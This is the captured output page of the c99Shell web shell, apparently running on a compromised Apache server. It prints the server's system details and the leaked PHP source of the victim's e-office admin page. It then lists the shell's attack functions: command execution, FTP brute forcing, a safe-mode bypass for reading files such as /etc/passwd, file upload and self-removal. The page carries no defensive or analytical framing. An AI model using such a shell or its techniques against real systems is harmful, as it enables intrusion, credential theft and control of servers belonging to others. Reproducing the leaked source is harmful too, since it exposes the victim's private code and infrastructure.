!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk/eoffice/admin/   drwxr-xr-x
Free 50.92 GB of 127.8 GB (39.84%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     index.php (6.89 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "template.php";
showHeader();
include_once 
"../class/clsTable.php";
include_once 
"../class/clsDepartment.php";
include_once 
"../class/clsPerson.php";
include_once 
"../link/function.php";
include_once 
"../class/clsDocLinePosition.php";
include_once 
"../class/clsDocLineConfig.php";
include_once 
"funct.php";

$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);

$oDP = new department($oC);
$oDP4 = new department($oC);
$oPS = new person($oC);
$oDlc = new docLineConfig($oC);
$oDlc2 = new docLineConfig($oC);
$oDlp = new docLinePosition($oC);
$oDlp2 = new docLinePosition($oC);
$oDlp1 = new docLinePosition($oC);
$Maxgroup=$oDP4->SearchMaxDocGroup();

//--------find groupID and systemID
session_start();
//session_register("GroupID");
//session_register("system_eokkID");
//session_register("one_position");
//session_register("DLCIDSECOND");
//session_register("DLCIDSECONDID");
//session_register("DLCID");

if($__gp){ 
    
$_SESSION['GroupID']=$__gp;
}
if(
$__gp){
    
$_SESSION['system_eokkID']=$__ss;
}
if(
$dlcId){
    
$_SESSION['DLCID']=$dlcId;
}
if(
$dlcIdsecond){
    
$_SESSION['DLCIDSECOND']=$dlcIdsecond;
}
if(
$dlcIdsecondId){
    
$_SESSION['DLCIDSECONDID']=$dlcIdsecondId;
}

//------------------------------------[check case only one position]
        
$j=0;
        
$oDlp2->SearchDlpIDByGpID($_SESSION['GroupID']);
        while(
$oDlp2->GetRecord()){

                
$oDlc2->SearchDlcIDByPsPositionDlpIDUnion($oU->userPsCode,$oDlp2->DlpID,$Maxgroup);
                while(
$oDlc2->GetRecord()){
                    
$dlcIdsecond="";
                    
$dlcIdsecondId="";
                        
//echo 'find<br>';
                        
$j++;
                        
$oneposition=$oDlc2->DlcID;
                        
$dlcIdsecond=$oDlc2->DlcIDSecond;
                        
$dlcIdsecondId=$oDlc2->DlcIDMainValue;                        
                }
        }

        if(
$j=="1"){ //if show  only one position  go to index2.php 
            
$_SESSION['DLCID']=$oneposition;
            
$oDlc2->SearchByKey($_SESSION['DLCID']);
            
$oDlc2->GetRecord();            
             if(
$oDlc2->DlcPropose=="Y" || $oDlc2->DlcSign=="Y" || $oDlc2->DlcSend=="Y" || $oDlc2->DlcByPass=="Y" || $oDlc2->DlcView =="Y"){          
                    
?>
                        <script language="javascript">
                            window.location.href ="index2.php?dlcId=<?  echo $oneposition?>&dlcIdsecond=<? echo $dlcIdsecond;?>&dlcIdsecondId=<? echo $dlcIdsecondId;?>";
                        </script> 
                        
                    <? 
                
}else{  
                        
$_SESSION['one_position']=1;  //can not select
                
}
        }
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
</head>
<style>
<!--
A:link {text-decoration: none; color: #000000}
A:visited {text-decoration: none; color: #000000}
A:hover {text-decoration: none; font-weight: underline; color: #FB6400} 
-->
</style>
<body>
<iframe id="a" name="a" src="" style="width:$0px;height:0px;border:0"></iframe>
<br><form name="ff"  METHOD="POST" target="a">
<table width="750" border="0" align="center" cellpadding="0" cellspacing="0">
        <tr>
              <td>
                  <fieldset>
                <legend><font size="3" color="#FF0000"><b>ยินดีต้อนรับ</b></font></legend>
                <label>
                    <div align="right">
                        <font size="3" color="<?php echo $GLOBALS['COLOR_FONT_5'];?>" >
                            <br><b><?php echo $oU->userLogin." : ".$oU->userName;?>&nbsp;&nbsp;</b><br>
                            <img src="../picture/bg.gif" align="absmiddle" border="0" height="2" width="500"><br>
                            <font size="3" color="#FFCC66"><b><?php echo $GLOBALS["SITENAME"];?><img src="../picture/v_eoffice.jpg"></b></font>
                        </font>
                    </div>
                    <? if(SearchGroupforSelect($_SESSION['GroupID'])==Y){ ?><br>
                    <table width="98%"  border=0 align="center" >
                    <? if(($_SESSION['DLCID']=="" || ($j!="1"))){ ?>
                    <tr>
                    <td align="right"><font size="3"><strong><img src="../picture/arrow_down.gif"   border="0">&nbsp;
                    กรุณาเลือกตำแหน่งงานเพื่อเข้าใช้ระบบสารบรรณ</strong></font>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td>
                  </tr>
                  <? ?>
                    <tr><td align="right">
                    <table width="98%" border=0>
                    <?
                    $i
=0;

                    
$oDlp->SearchDlpIDByGpID($_SESSION['GroupID']);
                    while(
$oDlp->GetRecord()){
                                
$oDlc->SearchByPsPositionDlpIDUnion($oU->userPsCode,$oDlp->DlpID,$Maxgroup);
                            while(
$oDlc->GetRecord()){
                                    
$dlcIdsecond="";
                                    
$dlcIdsecondId="";
                                    
//echo '<br>find2='.$oDlc->DlcID.'<br>';
                                    
$oDlp1->SearchByKey($oDlc->DlpID);
                                    
$oDlp1->GetRecord();
                                    
$oDP->SearchDeptByMaxdeptDate($oDlc->deptId);
                                    
$oDP->GetRecord();  
                                    
$dlcIdsecond=$oDlc->DlcIDSecond;
                                    
$dlcIdsecondId=$oDlc->DlcIDMainValue;
                                    
?>
                                    <tr>
                                  <td width="48%" align="right"> 
                                    <? if($_SESSION['DLCID']==$oDlc->DlcID && $_SESSION['one_position']!=1){     //selected ?>
                                            <strong><font color="<?php echo $GLOBALS["COLOR_FONT_9"]; ?>"></font></strong><img src="../picture/go.gif"   border="0">&nbsp; 
                                    <? }else{
                                                    if(
$oDlc->DlcPropose!="Y" && $oDlc->DlcSign!="Y"&& $oDlc->DlcSend!="Y" && $oDlc->DlcByPass!="Y" && $oDlc->DlcView !="Y"){  
                                                            echo 
"ยังไม่มีการกำหนดหน้าที่ใดๆให้กับตำแหน่งนี้&nbsp;<img src=\"../picture/delete.gif\"   border=\"0\"><br>จึงไม่สามารถเข้าใช้งานได้ กรุณาติดต่อผู้รับผิดชอบระบบ";
                                                    }
                                            } 
?> 
                                  </td>
                                    <td width="52%" height="60" align="left"><font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="3"><strong>
                                    &nbsp;
                                    <? if($oDlc->DlcPropose=="Y" || $oDlc->DlcSign=="Y" || $oDlc->DlcSend=="Y" || $oDlc->DlcByPass=="Y" || $oDlc->DlcView =="Y"){  ?>
                                            <a href="index2.php?dlcId=<?  echo $oDlc->DlcID?>&dlcIdsecond=<? echo $dlcIdsecond;?>&dlcIdsecondId=<? echo $dlcIdsecondId?>">
                                    <? 
                                    
$system_eokkIDv=$_SESSION['system_eokkID'];
                                    
?>
                                            <img src="<? echo $_SYSICO_MINI[$system_eokkIDv]; ?>" border="0" align="absmiddle">&nbsp;<? echo $oDlp1->DlpName;?>&nbsp;<? echo "(".$oDP->deptName.")"?>
                                    <? if($oDlc->DlcPropose=="Y" || $oDlc->DlcSign=="Y" || $oDlc->DlcSend=="Y" || $oDlc->DlcByPass=="Y" || $oDlc->DlcView =="Y"){    ?>
                                            </a>
                                    <? ?>
                                    </strong><? if($dlcIdsecond=="Y"){  echo "<font color=#FF6600>[ผู้ช่วย]</font>"; }?>    
                                    </font>
                                    </td>
                                    </tr>
                <? $i++; }  //get all docLinePosition 
                
                 
//docLinePosition from groupid ?>
                    <? if($i=="0"){ ?>
                    <tr><td align="center" colspan="2"><br>
                    <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2"><strong>*** 
                    ยังไม่กำหนดกลุ่มงานนี้ในระบบจัดการผู้ใช้ให้กับผู้ใช้ หรือ ยังไม่มีการกำหนดตำแหน่งงานให้ <br>หรือยังไม่ยืนยันการใช้งาน 
                    กรุณาติดต่อผู้รับผิดชอบระบบ***</strong></font></td>
                </tr>
                    <? ?>
                    </table>
                    </td></tr>
                    </table><? }// if selectDlp?>
                </label>
                </fieldset><br><? include("showDocNews.php");?>
            </td>
        </tr>
            
</table>

</form>
</body>
</html>
<?php
showFooter
();
?>
<script>
function selectDocPosition(){
    document.ff.submit();
}
</script>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0073 ]--